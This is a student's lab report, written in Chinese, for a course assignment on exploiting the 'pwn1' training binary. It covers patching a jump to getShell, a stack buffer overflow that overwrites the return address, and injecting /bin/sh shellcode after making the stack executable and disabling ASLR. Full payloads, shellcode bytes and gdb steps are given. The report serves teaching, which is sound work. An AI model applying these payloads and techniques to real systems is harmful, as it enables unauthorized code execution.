20241903 2024-2025-2 《网络攻防实践》第9次作业
1. 实践内容
本次实验以名为“pwn1”的Linux可执行文件为对象,旨在通过几种方法运行程序中正常不会执行的“getShell”代码片段,并学习注入运行自定义Shellcode。实验内容包括:手工修改可执行文件,通过修改机器指令改变程序执行流程,直接跳转到“getShell”函数;利用“foo”函数的缓冲区溢出(Bof)漏洞,构造攻击输入字符串覆盖返回地址,触发“getShell”函数;以及注入并运行自定义Shellcode。实验中我们要熟练使用反汇编工具与十六进制编程器,能够正确修改机器指令并构造有效的payload进行攻击。
2. 前置知识
反汇编:
反汇编(Disassembly) 是一种将计算机程序的 机器代码(二进制指令) 转换为 汇编语言 的过程。它可以帮助程序员或安全研究人员理解程序的内部逻辑和执行流程,尤其是在没有源代码的情况下。
在计算机程序中,机器代码是CPU能够直接执行的指令,而汇编语言则是更接近人类可读的形式,它使用助记符(如MOV、JMP、CMP等)来表示机器指令。反汇编工具会将这些二进制指令逐条翻译成对应的汇编代码,从而 揭示程序的结构和功能。
Bof漏洞:
BOF(Buffer Overflow,缓冲区溢出)漏洞 是一种常见的安全漏洞,它发生在程序试图将超出缓冲区大小的数据写入内存缓冲区时,导致 溢出的数据覆盖了相邻的内存区域 ,进而可能破坏程序的正常运行逻辑,甚至被攻击者利用来执行恶意代码。
BOF漏洞的 原理 是:在程序中,缓冲区通常用于临时存储数据,例如用户输入、文件内容等。当程序对缓冲区的大小管理不当,例如:没有正确检查输入数据的长度;没有为缓冲区分配足够的空间;没有对写入缓冲区的数据进行边界检查; 时,就可能引发缓冲区溢出。
例如,假设程序为一个缓冲区分配了10个字节的空间,但用户输入了15个字节的数据。超出的5个字节会覆盖缓冲区后面的内存区域,如果这些区域存储了重要的程序控制信息(如函数的返回地址),攻击者可以通过精心构造的输入数据篡改这些信息,使程序跳转到攻击者指定的代码执行。
攻击者通常利用BOF漏洞来执行的操作有:
- 覆盖函数返回地址: 通过溢出数据覆盖函数的返回地址,使程序跳转到攻击者注入的恶意代码(如Shellcode)。
- 篡改程序控制流: 修改程序的执行流程,例如覆盖函数指针或跳转表,使程序执行攻击者指定的逻辑。
- 破坏数据完整性: 覆盖程序中存储的重要数据,导致程序行为异常或崩溃。

3. 实践过程
本次实践分为三个实验。
先将主机名字改成自己的名字,将下载的pwn1复制一份改为pwn20241903。

实验一:
目标:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
首先键入objdump -d pwn20241903 | more对文件pwn20241903进行反汇编。

一直按住回车向下翻,找到我们的目标函数getShell,foo和主函数main。可以看到,按照正常的程序执行流程,该函数的主函数应该在流程中调用foo函数,现在我们要直接修改这个流程,让它在主函数中执行getShell函数。

进一步可以看到,主函数中使用call 8048491的汇编指令来调用位于8048491处的foo函数,其机器指令为e8 d7ffffff,e8为跳转指令,d7ffffff为补码。本来程序按顺序应该执行80484ba,而现在程序会执行80484ba+d7ffffff=8048491也就是foo。那么因此,我们要修改只需要将d7ffffff改为跳转804847d对应的补码804847d-80484ba=c3ffffff即可。

因此接下来我们便可以将D7修改为C3即可。
键入vi pwn20241903编辑可执行文件,键入:%!xxd切换16进制的显示模式。


找到d7ffffff,改为c3ffffff。

键入:%!xxd -r转换为原格式,再键入:wq退出。
再次键入objdump -d pwn20241903 | more进行反汇编查看。

成功在主程序中执行getShell。
实验一完成!
实验二:
目标:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
键入objdump -d pwn1 | more反汇编查看没有修改过的文件。

还是找到getShell,foo和main附近。

我们的目标是触发getShell函数,正常函数调用是运行foo函数,但是foo函数有Buffer Overflow漏洞,在读入字符串的过程中会有溢出,所以可以覆盖返回地址。
我们键入gdb pwn1进入gdb模式,键入r开始尝试运行pwn1,输入1111111122222222333333334444444455555555

可以看到eip已经被覆盖成5。再次键入r调试。输入1111111122222222333333334444444412345678发现eip被覆盖为1234 (倒序) 。因此BOF攻击确实存在。该输入最大为28字符,多了就会溢出,覆盖到eip中去。我们可以利用这个来更改程序执行指令。

由实验一我们已知,getShell的内存地址是0804847d,又由于输入是倒序存储,因此我们应该写入11111111222222223333333344444444\x7d\x84\x04\x08。
接下来我们要用perl语言生成一个包含\x7d\x84\x04\x08的文件。键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input将这个字符串放入一个叫input的文件中。

键入xxd input查看输入文件。

键入(cat input; cat) | ./pwn1,将input中的输入通过管道输入pwn1中。键入ls,成功呈现出当前目录的文件,说明shell成功,说明目标成功达成。

实验二成功!
实验三:
目标:自制shellcode并运行。
本次实验自制的shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\。
在开始之前,我们需要更改一些设置。
键入execstack -s pwn1设置堆栈可执行。
键入execstack -q pwn1查询文件的堆栈是否可执行。
键入more /proc/sys/kernel/randomize_va_space。
键入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。
再次键入more /proc/sys/kernel/randomize_va_space。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。
我们接下来确认\x4\x3\x2\x1的内容。
打开一个终端(设为A)键入(cat input_shellcode;cat) | ./pwn1进行注入。

打开另一个终端(设为B)使用gdb调试。键入ps -ef | grep pwn1找到其进程号为4358。
键入gdb启动调试模式,键入attach 4358调试进程,键入disassemble foo设置断点。
在ret处断掉,此处结束后将跳到地址覆盖的地方。
键入break *0x080484ae。
键入c。
然后在终端A按下回车。

等终端A出结果后再在B端键入info r esp。

可见,此时栈顶指针所在的位置为 0xbffff3ac。
接着在B端键入x/16x 0xbffff3ac。发现01020304被填入0xbffff3ac,因此shellcode的地址就是0xbffff3b0。

在B端中退出gdb,键入perl -e 'print "A" x 32;print "\xb0\xf3\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。前四位倒序放入我们的返回地址也就是bffff3b0。再键入xxd input_shellcode。

然后去A端键入(cat input_shellcode;cat) | ./pwn1,按 两次 回车,键入ls,发现返回桌面内容。这意味着成功取得shell!

实验三成功!
4.学习中遇到的问题及解决
- 问题1:apt-get install execstack不能放置包。
![]()
- 问题1解决方案:首先键入
sudo vim /etc/apt/sources.list打开文件,然后添加如下代码:
deb http://http.kali.org/kali kali-rolling main contrib non-free deb http://http.kali.org/kali sana main non-free contrib deb http://security.kali.org/kali-security sana/updates main contrib non-free deb http://old.kali.org/kali moto main non-free contrib
保存退出后,键入sudo apt-get update
便可正常下载execstack。
5. 实践总结
通过学习BOF漏洞和反汇编技术,我深刻认识到程序安全的重要性以及攻击与防御之间的博弈。BOF漏洞的原理和利用方式让我明白,即使是微小的疏忽,如未对输入数据进行严格检查,也可能导致严重的安全问题,攻击者可能借此篡改程序执行流程或注入恶意代码。而反汇编技术则让我了解到,程序的机器代码背后隐藏着可被分析和利用的逻辑,这不仅有助于调试和优化代码,还能帮助我们发现潜在的安全隐患。这些知识让我更加注重代码的安全性,也让我意识到在开发过程中必须严格遵循安全规范,同时要掌握防御技术,以应对潜在的攻击。

浙公网安备 33010602011771号